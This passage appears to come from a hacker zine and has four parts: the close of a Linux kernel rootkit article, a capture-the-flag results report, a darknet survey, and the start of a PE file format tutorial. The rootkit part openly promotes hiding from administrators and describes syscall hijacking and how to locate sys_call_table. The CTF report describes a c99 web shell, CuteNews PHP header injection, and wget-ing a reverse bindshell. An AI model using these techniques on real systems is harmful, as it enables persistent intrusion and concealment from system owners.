avail. The other problem with the kernel debugger patches is that they are only
available for certain kernel versions. If you would still like to make use of
these tools however you can download the required kernel and patch set, apply
the patches, build the kernel and run it on the same machine or on another
computer (kgdb requires accessing the patched kernel over a serial line).
Gdb by itself is marginally useful with a running kernel. You can run gdb on
the Linux kernel with the command :
gdb <vmlinux> /proc/kcore
ie zcat /boot/vmlinuz-2.6.16 > /tmp/vmlinuz
gdb /tmp/vmlinuz /proc/kcore
(gdb) symbol /boot/vmlinux-syms-2.6.16
(gdb) p sys_call_table
You will want to build your target kernel with debugging symbols for this to
work. You can additionally disassemble functions but thats about it; there is
no way to set breakpoints, or step through the code... think about it, how
could you?
Additionally there are two books that will be invaluable in wrapping you head
around the architecture of the Linux kernel. Linux Kernel Development [2] by
Robert Love, and Linux Device Drivers 3rd edition by Alessandro Rubini. The
later is available for free in pdf form in the Linux Driver Development Kit [3].
Because of the sheer complexity and size of the Linux kernel, unless you have
been hacking on it since version 1.x you are going to need some external
documentation. Don't forget to follow up the reading of each of these chapters
with some time in front of the computer actually poking around with the relevant
source.
LKM security vectors:
One of the most exciting aspects of LKM's is that it they provide a means for
hiding the use of a system from the systems administrator. So the next time
you have that 0-day buffer overflow, loaded with your local kernel root exploit
reverse shell shell code combo, you can install your favorite LKM to maintain
access to the system for as long as you need. There's no more need to stay up
all night to get things wrapped up before the box gets discovered in the
morning, finally a 8 hour day for the rest of us!
System call and VFS hijacking are the two most commonly used methods for hiding
use of system resources. Starting with the 2.6 kernel however the
sys_call_table symbol used to store references to the system calls is no longer
exported publicly which is a dependency for the majority of the 2.2 and 2.4
LKM's. There is however two workarounds for this, one of which is searching for
the symbols address in the System-map file as in the lvtes LKM [11] ie:
grep sys_call_table /boot/System.map-`uname -r`|awk '{print $1}'
This technique isn't very portable because it could be different from system to
system. The other method is by searching through the data segment of the
running kernel to find the starting address of the sys call table, which is the
method of choice in the override LKM[4].
The most commonly hijacked system calls are getuid(), geteuid(), getuid32(), and
geteuid32() for escalating privileges. Getdents() and getdents64() are
intercepted for hiding the process id directories from procfs. Fork() and
clone() are masqueraded to hide the children of hidden processes, and finally
read() is overridden to hide access to misc files in /proc/net to hide used
network ports.
A somewhat less cumbersome vector for hiding use of resources is to override a
few of the VFS system calls that expose procfs to user space. Procfs is a in
memory file system that keeps track of the kernel state; including process and
network state. The earliest article I could find using this technique was
phrack 58 by [13]. This method is implemented in the very robust LKM adore-ng
[10]. Using this technique there is no need to locate the system call table,
and there is no need to worry about forgetting to override a specific system
call. Instead you are inserting a layer of indirection directly between user
space and the kernel ABI that provides access to the data you are trying to
hide.
The Override LKM [15] is a simple yet complete code base to use as a starting
point for your Linux kernel security research. Override was written by
Grid-Knight and Alishba and is the example code used in the article "How to
Write a Rootkit" in issue 69 of Linux Magazine by Alishba. This root kit
provides process hiding, simple tcp port hiding, and privilege escalation.
Interaction with the module is provided by hijacking chdir() and taking action
depending on which secret directory is passed as a argument.
Included below is the override source code including the documentation added by
myself during my process of auditing the code.
In conclusion Linux kernel development is a difficult and time consuming
project, but is totally possible for the beginner with the right resources. A
focused effort involving a cycle of reading and testing will provide the best
results. Being able to audit and have handy a fully featured rootkit can
increase the amount of time that a compromised system remains available and
decreases the amount of sleepless nights you will have to spend completing your
project. Please feel free to illicit more detailed explanations, or elaborate
on the above explanation in this articles forum of hackbloc.org at
http://hackbloc.org/site/component/option,com_smf/Itemid,27/topic,339.0/ .
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
################################################################################
results of the 10.13-15.2006 hackmeeting 'capture the flag' competition
################################################################################
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
This document contains the results of this weekend's hacking competition as well
as documents and analyzes some of the techniques used by the hackers playing
the challenge. Of the five boxes set up during the weekend, the three we had set
up at dai5ychain were all broken into and owned.
ghost: Nomenumbra, the Gibsons
petunia: Ykstort, Wells, the Gibsons, frywire
protea: reZo
ystort: nobody
Most of the hackers logging into the system tried to clear the temporary files
they created as well as the .bash_history file. A common technique which was
started very early into the game by some of the participants was to route
~.bash_history to /dev/null, preventing the system from capturing command line
logs. this was done like: ln -s /dev/null ~.bash_history . We were able to
recover
[http://hackmeetingwiki.dai5ychain.net/drop/Presentations/capture_the_flag/resul
ts/protea/bashhistory.txt a small portion of one of the bash_history files].
Nomenumbra and The Gibsons were able to break in and own 'ghost OS X laptop'
which had been preconfigured with dozens of CMS scripts and had been used in
previous hacking challenges.
reZo was the only one able to root the Protea box although it is immediately
unclear how s/he managed to elevate permissions. Ykstort had also tried to root
the protea box was to log in using the guest protea account. He then created a
public_html directory in their home directory and copied a web shell. Many
apache configurations by default will allow local users to have web accessible
~/public_html/ directories. By calling the web shell like /~protea/c99.php, the
hacker was able to execute shell commands as the permissions of the web server
(www-data) which also owned the /usr/www/ directory. Here is a clip from the
apache [
http://hackmeetingwiki.dai5ychain.net/drop/Presentations/capture_the_flag/
results/protea/access.log.txt access.log]
6/Oct/2006:10:41:19 -0500] "GET /~protea/c99.php?act=img&img=ext_0verkill HTTP/1
.1" 200 1034 "http://seedsforthe.noiseflower.com:8011/~protea/c99.php?act=ls&d=
%2Fhome%2Fprotea&sort=0a" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7)
Gecko/20060909 Firefox/1.5.0.7"
Wells, Ykstort, the Gibsons, and frywire were able to gain control of the
petunia box by various web intrusion techniques. The box had been set up with
apache2, mysql, php5, the latest version of phpmyadmin, and an older version of
cutenews.
One technique which was used to gain access to the petunia box was to exploit
the older and vulnerable version of cutenews. During the hackmeeting a live
demonstration of this vulnerability was demonstrated. The vulnerability lies in
the flood protection code where the scripts write header information provided by
the client to the flood.db.php file. You can craft a http packet which
contained a customized Client-Ip header which contained a bit of PHP code. By
calling the flood.db.php file through the web browser, you were able to execute
code running as permissions of the web user(www-data). We also demonstrated how
to wget a reverse bindshell and set up netcat to receive an interactive shell
which you can use to overwrite the hack.html file.
During the game, KuroiShi took control of the router and changed the port
forwarding settings, redirecting incoming traffic to his own box on the network.
He then created his own hack.html file on his system and the scoring server
registered him as having control of the box.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
################################################################################
darknets and other alternative / anonymous internets
################################################################################
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
The internet as we know it is structured and controlled by a conglomeration of
corporations and governments. Their agenda is made obvious by their attempts to
(commercial ISPs cooperating with law enforcement to illegally tap phone and
internet, cooperation with media groups to enforce unjust copyright legislation,
censorship of pro-democracy or oppositional political groups, and so on).
Despite these attempts to control and monitor the free flow of information,
internet technology itself knows no bounds and has created several temporary
autonomous zones where entire networks of data exist. Hackers and activists are
in unique positions to help develop alternatives to the commercial internet.
We will analyze and rate several popular darknets or other alternative internet
systems. Qualities of good darknets would include 1. encryption/anonymity, 2.
an open structure of posting data, and 3. stability, popularity, and usability.
### tor / tor hidden services ###
Tor and onion routing in general works by routing encrypted traffic through a
series of random nodes around the world, obscuring your original location to the
destination server. Tor hidden services allows users to create an anonymous
domain name only accessible to other Tor and hides your true IP address by
similar onion routing techniques.
Tor (commonly used with web proxy software Privoxy) is available for all
operating systems and can be downloaded from the tor.eff.org website. All
applications which support SOCKS proxies can be configured to work with Tor.
Some initial places to check out while on Tor:
* the Tor Hidden Wiki @ http://6sxoyfb3h2nvok2d.onion/ acts as a good start page
for browsing anonymous content on Tor
* Search engines: Torgle @ http://5kdgyjnpcihfzskc.onion/ and
http://nnqtnsoohprzqcke.onion
* Tor Onion Relay Chat (ORC) IRC server web/irc @ 3d2et7ek4jjhnv3k.onion, first
tor hidden services anonymous IRC server, most people hang out in #tor
Tor hidden services are remarkably easy to set up. Edit your torrc file,
uncomment the lines listed below, and relaunch Tor. HiddenServiceDir will be
automatically created and populated with several files, including 'hostname'
which contains your randomly generated domain name for your hidden service
(something like a5mlyybantmqyjh.onion). You can configure as many hidden
services for as many ports as you like.
HiddenServiceDir /Library/Tor/services/hidden_service/
HiddenServicePort 80 127.0.0.1:80
pros: allows you to route all traffic through series of anonymous onion routers,
as well as the ability to create secure domains only accessible to others using
tor
cons: speed is limited to the weakest link in the proxy chain, data leaving the
tor exit nodes may be sniffed by vigilante white hats or government / law
enforcement
### relakks ###
A project of the Swedish Pirate Party, relakks claims to be the 'first
commercial darknet'. In practice, it is an encrypted VPN / PPTP connection which
all your traffic is routed through.
pros: all traffic is forwarded through relakk's anonymous VPN. they claim not to
store any IP or traffic records.
cons: not truly a darknet or alternative internet, but an 'anonymous' gateway
to the internet. it is also a commercial service
### freenet ###
freenet, having been in active development for years, is possibly the most
stable and populated anonymous 'darknet' we've seen. freenet is essentially an
anonymous and encrypted distributed file storage system which stores portions of
each 'freesite' amongst all connected nodes on the network. there are already
large networks of controversial content available as it is in enough of a safe
and reliable way of posting data.
freenet works by connecting and sharing data with other trusted users (nodes) on
freenet. in order to get online, you have to set up a freenet node on your
system, reference with other freenet users, and automatically / anonymously
share portions of data on the freesite network. this also introduces an extra
layer of security, allowing you to choose only trusted nodes to get on the
darknet. if you want to find other general users to try to get on the network,
or have other general questions regarding freenet, check out the irc server
irc.freenode.net and join the channel #freenet-refs.
pros: distributed file storage system, built-in randomized proxies - and already
has a wide network of documents and files only available on the darknet
cons: cannot post dynamic/interactive/database-driven websites due to the nature
of static file storage
http://freenetproject.org/
### alternative DNS networks ###
Commercial internet depends on 13 master rootservers governed by the hierarchal
domain authority ICANN. The majority of the rootservers are located in the US
and are for the most part commercial or friendly to US interests. There are many
alternative domain organizations which users can jump on to by configuring t
heir systems to use the new DNS servers. Several of these groups allow users to
create their own top level domains such as .indy or .glue, or are otherwise more
friendly to the open source philosophy.
Several of these projects include OpenNIC, Public-Root, Open Root Server
Confederation, UnifiedRoot, dot.love, and others.
pros: democratic DNS networks are not subject to the same commercial or
authoritative regulations as the 'real' internet, many services allow you to
create your own domains or TLDs for free, and at the same time be able to
resolve traditional ICANN related domains.
cons: still depends on existing ISPs who at the moment do not support
alternative DNS servers by default
################################################################################
"On the PE file format and it's dark side ;)"
by Nomenumbra/[0x00SEC]
################################################################################
[0x00] Table of Contents
[0x00]ToC
[0x01]Intro
[0x02]General introduction
[0x03]PE Structures and data types
[0x04]A more in-depth and practical look
[0x05]The dark side of this information
[0x06]Resources
[0x07]Shoutz'n greetz
[0x01] Intro
Hello folks and welcome to this article on the PE File format and the trix you
can play with it. In order to get your "maximum experience" out of this article
:p you should be familiar with C/C++ and win32 x86 ASM programming
(Intel syntax), have a mediocre knowledge of the windows operating system and
have a general understanding of what the hell is going on on your b0x ;)
[0x02] General introduction
The PE file format is a file format for executables, object code and DLLs used
by the windows operating system. The format is nothing else than a data
structure containing the information needed for the windows loader to execute
the contained executable code. For example, DLL references, resource data
(images,etc), API export and import tables, thread-local storage data,etc,etc
Some file types using the PE format are .EXE,.DLL,.OBJ and .SYS files.
The PE-File format evolved from the MS-DOS executable format and is based on the
UNIX COFF format and bears some similarities. The biggest reminiscent of it's
MS-DOS heritage is the inclusion of MS-DOS executable stub displaying "This
program cannot be run in DOS mode".
The PE file consists of a combination of headers detailing program structure and
details on the program sections, necessary to run the app.
Some sections of interest are:
.text:
The section usually containing the program code
.data:
Holding global variables and other program data
.bss
Holding uninitialized data
.rsrc
Holding program resources
Another interesting section is the Import Address Table (IAT). The IAT table is
used when a windows API is called. Because a compiled PE DLL/EXE cannot know in
advance where the other DLLs it
depends upon are located in memory, an indirect
jump is required. As the dynamic linker loads modules and joins them together,
it writes jump instructions into the IAT slots which point to the actual
location of the destination function. A call to memcpy (located in msvcrt.dll),
for example, might look like this in the application:
004012F9 |. C74424 08 0400>MOV DWORD PTR SS:[ESP+8],4 ; |
00401301 |. C74424 04 0020>MOV DWORD PTR SS:[ESP+4],testapp.0040200>; |
00401309 |. 8B85 F4FEFFFF MOV EAX,DWORD PTR SS:[EBP-10C] ; |
0040130F |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
00401312 |. E8 39050000 CALL <JMP.&msvcrt.memcpy> ; \memcpy
and inside the IAT:
00401850 $-FF25 FC504000 JMP DWORD PTR DS:[<&msvcrt.memcpy>]; msvcrt.memcpy
To paint you a General look of what the PE file looks like:
[DOS HEADER]
[PE HEADER]
[SECTION HEADER TABLE]
[.text section]
[.data section]
[all other sections]
When a PE get's loaded, it is "mapped" into memory (from whereon it'll be called
a module) at a certain base address, the so called "image base"
(usually 0x400000), a value defined in the PE Header. This address is usually
referred to as the HMODULE.
Let us first define some terms, to make discussion on this topic a bit easier:
0) Relative Virtual Address (RVA)
The offset from the base address of the executable image once it's mapped
into memory. Note that this is not the same as the offset in the file on the
disk, since in-memory sections need to be aligned to a specefic boundary. Hence,
as a result, the module image of the PE will contain "holes", a bunch of unused
(usually NOP) data, between sections.
1) Virtual Address
The full pointer into the address space of the process. VAs are the RVA +
Base Address.
From the base address, all structures and data can be found at their respective
offsets. After adjusting values, setting up tables and structures the loader
will execute code at the so-called "Entry-point", which is usually the RVA of
the .text section.
[0x03] PE Structures and data types
Now, let's take a look at all these "magical" PE values. All PE structures are
defined in winnt.h, so use that for reference.
First, let's look at the DOS header, which is named IMAGE_DOS_HEADER in winnt.h:
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number (MZ, 0x4D5A)
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of the PE header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
The DOS header is obviously located right at the beginning of the PE mapping.
The only interesting values (or at least, for this article) are e_magic, which
MUST be 0x4D5A to identify it as a MS-DOS/PE executable (MZ, the initials of
one of the designers of the MS-DOS exe format, Mark Zbikowski) and e_lfanew,
which points into our PE headers.
Let's look at our good ol' PE header then:
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; // PE signature, which must be IMAGE_NT_SIGNATURE (PE00 == 0x00004550)
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;
The PE Header is located at base_of_mapping+DosHeader->e_lfanew
Here we have our file header and the "optional header", the optional header is
where it all happens, but let's first look at the file header anyway, since it
does supply us with some needed info.
typedef struct _IMAGE_FILE_HEADER {
WORD Machine; //The architecture type of the computer. An image file can
//only be run on the specified computer or a system that
//emulates the specified computer.
WORD NumberOfSections; // number of sections this PE contains
DWORD TimeDateStamp; // The low 32 bits of the time stamp of the image.
//This represents the date and time the image was
//created by the linker. The value is represented
//in the number of seconds elapsed since midnight
//(00:00:00), January 1, 1970, Universal
//Coordinated Time, according to the system clock.
DWORD PointerToSymbolTable; // The offset of the symbol table, in bytes,
//or zero if no COFF symbol table exists.
DWORD NumberOfSymbols; // The number of symbols in the symbol table.
WORD SizeOfOptionalHeader; // The size of the optional header, in bytes.
//This value should be 0 for object files
WORD Characteristics; // The characteristics of the image, this field
//tells us quite something about the PE image
/*
Possible values for the Characteristics field:
IMAGE_FILE_RELOCS_STRIPPED
0x0001 Relocation information was stripped from the file. The file must
be loaded at its preferred base address. If the base address is not available,
the loader reports an error.
IMAGE_FILE_EXECUTABLE_IMAGE
0x0002 The file is executable (there are no unresolved external references).
IMAGE_FILE_LINE_NUMS_STRIPPED
0x0004 COFF line numbers were stripped from the file.
IMAGE_FILE_LOCAL_SYMS_STRIPPED
0x0008 COFF symbol table entries were stripped from file.
IMAGE_FILE_AGGRESIVE_WS_TRIM
0x0010 Aggressively trim the working set. This value is obsolete as of
Windows 2000.
IMAGE_FILE_LARGE_ADDRESS_AWARE
0x0020 The application can handle addresses larger than 2 GB.
IMAGE_FILE_BYTES_REVERSED_LO
0x0080 The bytes of the word are reversed. This flag is obsolete.
IMAGE_FILE_32BIT_MACHINE
0x0100 The computer supports 32-bit words.
IMAGE_FILE_DEBUG_STRIPPED
0x0200 Debugging information was removed and stored separately in another
file.
IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP
0x0400 If the image is on removable media, copy it to and run it from the
swap file.
IMAGE_FILE_NET_RUN_FROM_SWAP
0x0800 If the image is on the network, copy it to and run it from the swap
file.
IMAGE_FILE_SYSTEM
0x1000 The image is a system file.
IMAGE_FILE_DLL
0x2000 The image is a DLL file. While it is an executable file, it cannot be
run directly.
IMAGE_FILE_UP_SYSTEM_ONLY
0x4000 The file should be run only on a uniprocessor computer.
IMAGE_FILE_BYTES_REVERSED_HI
0x8000 The bytes of the word are reversed. This flag is obsolete.
*/
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
The file header is located at
PE_Header+sizeof(DWORD) = (base_of_mapping+DosHeader->e_lfanew+4).
Now, the only fields that are of interest to us at the moment are
NumberOfSections and SizeOfOptionalHeader.
the Optional Header is located at
PE_Header+sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER);
#define IMAGE_NUMBEROF_DIRECTOR_ENTRIES 16 // 0 to 15
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; // The state of the image file.
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode; //The size of the code section, in bytes, or the sum of
//all such sections if there are multiple code sections
DWORD SizeOfInitializedData; // The size of the initialized data section,
// in bytes, or the sum of all such sections
// if there are multiple initialized data
// sections
DWORD SizeOfUninitializedData; // The size of the uninitialized data
// section, in bytes, or the sum of all
// such sections if there are multiple
// uninitialized data sections
DWORD AddressOfEntryPoint; // A pointer to the entry point function,
// relative to the image base address. For
// executable files, this is the starting
// address. For device drivers, this is the
// address of the initialization function. The
// entry point function is optional for DLLs.
// When no entry point is present, this member
// is zero.
DWORD BaseOfCode; // A pointer to the beginning of the code section,
// relative to the image base
DWORD BaseOfData; // A pointer to the beginning of the data section,
// relative to the image base
DWORD ImageBase;// The preferred address of the first byte of the image
// when it is loaded in memory. This value is a multiple
// of 64K bytes. The default value for DLLs is
// 0x10000000. The default value for applications is
// 0x00400000, except on Windows CE where it is 0x00010000
DWORD SectionAlignment; // The alignment of sections loaded in memory, in
// bytes. This value must be greater than or equal
// to the FileAlignment member. The default value
// is the page size for the system.
DWORD FileAlignment; // The alignment of the raw data of sections in the
// image file, in bytes. The value should be a power
// of 2 between 512 and 64K (inclusive). The default
// is 512. If the SectionAlignment member is less
// than the system page size, this member must be the
// same as SectionAlignment
/*
OS data
*/
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage; // The size of the image, in bytes, including all
// headers. Must be a multiple of SectionAlignment
DWORD SizeOfHeaders; // The combined size of the MS-DOS stub, the PE
// header, and the section headers, rounded to a
// multiple of the value specified in the
// FileAlignment member
DWORD CheckSum; // The image file checksum. The following files are
// validated at load time: all drivers, any DLL loaded at
// boot time, and any DLL loaded into a critical system
// process.
WORD Subsystem; // The subsystem required to run this image. The
// following values are defined (windows CUI (character
// user interface, console mode), GUI, XBOX system,etc
WORD DllCharacteristics;
/*
The following values speak for themselves
*/
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes; // The number of directory entries in the
// remainder of the optional header. Each entry
// describes a location and size.
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
// A pointer to the first IMAGE_DATA_DIRECTORY structure in the data directory
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
There are many data structures within executable files that need to be quickly
located. Some obvious examples are the imports, exports, resources, and base
re-locations. All of these well-known data structures are found in a consistent
manner, and the location is known as the DataDirectory. The DataDirectory is an
array of 16 structures. Each array entry has a predefined meaning for what it
refers to. The IMAGE_DIRECTORY_ENTRY_ xxx #defines are array indexes into the
DataDirectory (from 0 to 15).
The most interesting value here (for our goals) is obviously the
AddressOfEntryPoint, which we will discuss later. The ImageBase normally doesn't
differ from the standard, but when it does, it's important to know when
Appending to the PE file (or employing EPO techniques for that matter) The
Section and File Alignments are important in the perspective that they are
needed to create a proper PE image.
Now, let us take a look at that interesting DataDirectory, containing some of
the most interesting PE data.
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; // this is an RVA not a VA, note that!
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
Each RVA of an element in the array points to a respective data structure.
For example, DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress points
to an IMAGE_IMPORT_DESCRIPTOR structure.
Finding out what structures belong to what kind of data isn't so hard when using
the good ol' msdn ImageHlp reference
(http://msdn2.microsoft.com/en-us/library/ms680195.aspx)
Now, if we look at our PE diagram again:
[DOS HEADER]
[PE HEADER]
[SECTION HEADER TABLE]
[.text section]
[.data section]
[all other sections]
We can see that right after the optional header (being the end of the PE Header)
are our Section headers (ImageFileHeader->NumberOfSections in total) These
sections are defined according to the IMAGE_SECTION_HEADER structure.
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // section name, .text for example
union {
DWORD PhysicalAddress; // address in file
DWORD VirtualSize; // The total size of the section when
// loaded into memory, in bytes. If this
// value is greater than the
// SizeOfRawData member, the section is
// filled with zeroes. This field is
// valid only for executable images and
// should be set to 0 for object files.
} Misc;
DWORD VirtualAddress; // RVA, The address of the first byte of the
// section when loaded into memory, relative to
// the image base. For object files, this is the
// address of the first byte before relocation is
// applied.
DWORD SizeOfRawData; // The size of the initialized data on disk, in
// bytes. This value must be a multiple of the
// FileAlignment member of the
// IMAGE_OPTIONAL_HEADER structure. If this value
// is less than the VirtualSize member, the
// remainder of the section is filled with zeroes.
// If the section contains only uninitialized data
// the member is zero.
DWORD PointerToRawData; // A file pointer to the first page within the
// COFF file. This value must be a multiple of
// the FileAlignment member of the
// IMAGE_OPTIONAL_HEADER structure. If a section
// contains only uninitialized data, this
// member is zero.
DWORD PointerToRelocations; // A file pointer to the beginning of the
// relocation entries for the section. If
// there are no relocations, this value is
// zero.
DWORD PointerToLinenumbers; // A file pointer to the beginning of the
// line-number entries for the section. If
// there are no COFF line numbers, this
// value is zero.
WORD NumberOfRelocations; // The number of relocation entries for the
// section. This value is zero for executable
// images.
WORD NumberOfLinenumbers; // The number of line-number entries for the
// section.
DWORD Characteristics; // The characteristics of the image , section
// flags so to say
/*
Interesting possible values:
IMAGE_SCN_CNT_CODE
0x00000020 The section contains executable code.
IMAGE_SCN_CNT_INITIALIZED_DATA
0x00000040 The section contains initialized data.
IMAGE_SCN_CNT_UNINITIALIZED_DATA
0x00000080 The section contains uninitialized data.
IMAGE_SCN_MEM_SHARED
0x10000000 The section can be shared in memory.
IMAGE_SCN_MEM_EXECUTE
0x20000000 The section can be executed as code.
IMAGE_SCN_MEM_READ
0x40000000 The section can be read.
IMAGE_SCN_MEM_WRITE
0x80000000 The section can be written to.
*/
} IMAGE_SECTION_HEADER,*PIMAGE_SECTION_HEADER;
At a minimum, there are usually at least two sections in a PE file: one for
code, the other for data. Commonly, there's at least one other type of data
section in a PE file.
Now that we have taken a look at the structures and you've gotten a bit familiar
with them, it's time to get our hand dirty!
[0x03] A more Practical look
For a practical look at the PE structure we'll write a small tool for basic PE
info reporting.
The first step we take when analyzing a file is ,of course, opening a handle to
it.
To do this we'll use CreateFileA.
HANDLE fhndl = CreateFileA("pe.exe",0x0C0000000,0,0,3,0,0); // open file
if(fhndl == INVALID_HANDLE_VALUE)
return -1;
int FileSize = GetFileSize(fhndl,0); // get file's size
the next thing we'll do is Create a mapping of the file:
HANDLE Maphndl = CreateFileMappingA(fhndl,0,PAGE_READWRITE,0,FileSize+extra_size,0);
// create file mapping
if(Maphndl == 0)
{
CloseHandle(fhndl);
return -1;
}
Now you'll wonder what extra_size is for. Well in this case, it can be 0, but
when we would like to modify the PE later on, like appending a section, or
adding code to a section, we would need to map the exact file size + what we are
going to add, since that much memory will be allocated, and we don't want any
segfaults now do we? Ok, on with the show. Now we should do a MapViewOfFile
call, which Maps the view of a file into the address space.
char* szBuffer = (char*)MapViewOfFile(Maphndl,2,0,0,FileSize+extra_size);
// map view (return base addr)
Now that we have the base (szBuffer), we can start extracting values:
// fetch our DOS header
IMAGE_DOS_HEADER *iDosHeader = (IMAGE_DOS_HEADER*)szBuffer;
if(iDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) // is the signature correct?
{
printf("[-]Invalid IMAGE_DOS_SIGNATURE (%#x) -> should be 0x5a4d
(MZ in little endian)\n",iDosHeader->e_magic);
free(szBuffer);
return -1;
}
printf("[+]Correct IMAGE_DOS_SIGNATURE (%#x)\n",iDosHeader->e_magic);
// Get and check the PE header
char *pTemp=(char*)iDosHeader+iDosHeader->e_lfanew;
char *PEHead = pTemp; // instead of declaring PEHead as IMAGE_NT_HEADERS* which
would have been neater, we just take the address, since we won't extract much
data from it anyway DWORD *dwSignature=(DWORD*)pTemp; // PE signature (PE00) is
the first DWORD in the structure
pTemp+=sizeof(DWORD); // go to File Header
if(*dwSignature!=IMAGE_NT_SIGNATURE) // correct signature?
{
printf("[-]Invalid IMAGE_NT_SIGNATURE (%#x) -> should be 0x4550\n",*dwSignature);
free(szBuffer);
return -1;
}
printf("[+]Correct IMAGE_NT_SIGNATURE (%#x)\n\n",*dwSignature);
// Get the rest of the headers
IMAGE_FILE_HEADER *iFileHead=(IMAGE_FILE_HEADER*)pTemp;
printf("[+]IMAGE_FILE_HEADER at %#x\n",pTemp);
pTemp+=sizeof(IMAGE_FILE_HEADER);
//optional header = location of file header + sizeof(file_header)
IMAGE_OPTIONAL_HEADER *iOptHead=(IMAGE_OPTIONAL_HEADER*)pTemp;
printf("[+]IMAGE_OPTIONAL_HEADER at %#x\n",pTemp);
pTemp+=sizeof(IMAGE_OPTIONAL_HEADER);
//first section header = location of optional header + sizeof(optional_header)
IMAGE_SECTION_HEADER *iSectHead=(IMAGE_SECTION_HEADER*)pTemp;
printf("[+]IMAGE_SECTION_HEADER at %#x\n\n",pTemp);
/*
The following i pretty obvious
*/
printf("[+]Characteristics = [%#x]\n",iFileHead->Characteristics);
printf("[+]NumberOfSections = [%#x]\n",iFileHead->NumberOfSections);
printf("[+]Entry point = [%#x]\n",iOptHead->AddressOfEntryPoint);
printf("[+]Magic = [%#x]\n",iOptHead->Magic);
printf("[+]NumberOfRvaAndSizes = [%#x]\n",iOptHead->NumberOfRvaAndSizes);
printf("[+]Image base = [%#x]\n",iOptHead->ImageBase);
printf("[+]Base of code = [%#x]\n",iOptHead->BaseOfCode);
printf("[+]Base of data = [%#x]\n\n",iOptHead->BaseOfData);
printf("[+]Section Alignment = [%#x]\n",iOptHead->SectionAlignment);
printf("[+]File Alignment = [%#x]\n\n",iOptHead->FileAlignment);
printf("[+]Size of image = [%#x]\n",iOptHead->SizeOfImage);
printf("[+]Size of headers = [%#x]\n",iOptHead->SizeOfHeaders);
printf("[+]Checksum = [%#x]\n\n",iOptHead->CheckSum);
etc,etc
Now, enumerating the sections will be fairly easy:
int iSection;
IMAGE_SECTION_HEADER *iSectPtr,
*iSectCode=NULL, // code section pointer
*iSectData=NULL, // data section pointer
*iSectReloc=NULL,// reloc section pointer
*iSectRsrc=NULL, // resource section pointer
*iSectIdata=NULL,// idata section pointer
*iSectRdata=NULL,// rdata section pointer
*iSectBss=NULL, // bss section pointer
*iSectNew=NULL; // decoder section pointer
for(iSection=0, iSectPtr=iSectHead; iSection<iFileHead->NumberOfSections;
iSection++, iSectPtr+=IMAGE_SIZEOF_SECTION_HEADER) {
printf("[+]Section number %d is '%s'...\n",iSection,iSectPtr->Name);
// check for known sections of which to save the addr
// Check if its the code section
if(strstr((char*)iSectPtr->Name, ".text")) {
// Mark this as the code section
iSectCode=iSectPtr;
}
// Check if its the data section
if(strstr((char*)iSectPtr->Name, ".data")) {
// Mark this as the data section
iSectData=iSectPtr;
}
// Check if its the reloc section
if(strstr((char*)iSectPtr->Name, ".reloc")) {
// Mark this as the reloc section
iSectReloc=iSectPtr;
}
// Check if its the resource section
if(strstr((char*)iSectPtr->Name, ".rsrc")) {
// Mark this as the resource section
iSectRsrc=iSectPtr;
}
// Check if its the idata section
if(strstr((char*)iSectPtr->Name, ".idata")) {
// Mark this as the idata section
iSectIdata=iSectPtr;
}
// Check if its the rdata section
if(strstr((char*)iSectPtr->Name, ".rdata")) {
// Mark this as the rdata section
iSectRdata=iSectPtr;
}
// Check if its the bss section
if(strstr((char*)iSectPtr->Name, ".bss")) {
// Mark this as the bss section
iSectBss=iSectPtr;
}
}
Now, getting data from a section itself is fairly easy, the address where the
first byte of a section is located is base+pointer_to_raw_data.
Remember, when finished doing whatever it is you do ;)
